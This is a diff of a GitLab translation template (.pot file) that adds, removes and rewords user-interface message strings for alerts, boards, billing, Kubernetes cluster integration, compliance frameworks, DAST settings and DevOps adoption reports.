msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3053,9 +3080,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3122,6 +3146,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3281,9 +3308,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3356,9 +3380,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3410,6 +3431,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3500,6 +3524,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3656,9 +3683,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -3935,9 +3959,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4023,15 +4044,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4415,9 +4430,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4605,9 +4617,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -4995,6 +5004,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5135,6 +5147,9 @@ msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5193,6 +5208,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5223,6 +5241,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5445,6 +5466,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5613,6 +5637,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5659,10 +5686,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5707,6 +5734,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5830,9 +5860,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5938,15 +5965,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6223,6 +6250,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6325,9 +6355,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6355,6 +6382,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6784,9 +6814,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6796,24 +6823,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6847,15 +6862,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6868,9 +6874,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -6892,9 +6895,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -6913,15 +6913,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -6943,9 +6934,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -6958,15 +6946,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6988,15 +6973,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7045,12 +7021,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7066,9 +7036,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7084,9 +7051,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7129,27 +7093,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7177,9 +7126,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7189,18 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7222,39 +7156,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7288,9 +7192,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7339,12 +7240,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7387,9 +7282,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7399,15 +7291,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7444,24 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7474,9 +7339,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7525,15 +7387,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7558,9 +7414,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7579,27 +7432,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7609,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7657,9 +7477,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7681,21 +7498,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7720,27 +7525,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7756,12 +7546,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7834,6 +7618,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7849,9 +7636,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8147,9 +7940,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8186,9 +7976,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8207,42 +7994,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8261,6 +8015,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8509,6 +8266,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8861,7 +8621,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -8900,6 +8660,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -8966,6 +8729,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9206,9 +8972,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9335,9 +9098,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9569,6 +9329,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9578,9 +9344,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9596,9 +9359,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9674,6 +9434,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -9889,9 +9652,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -9958,6 +9718,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10316,9 +10088,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10343,6 +10112,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10376,7 +10148,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10496,6 +10268,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11160,12 +10935,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11223,7 +11016,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11235,21 +11028,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11283,6 +11079,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11304,6 +11103,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11322,15 +11124,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
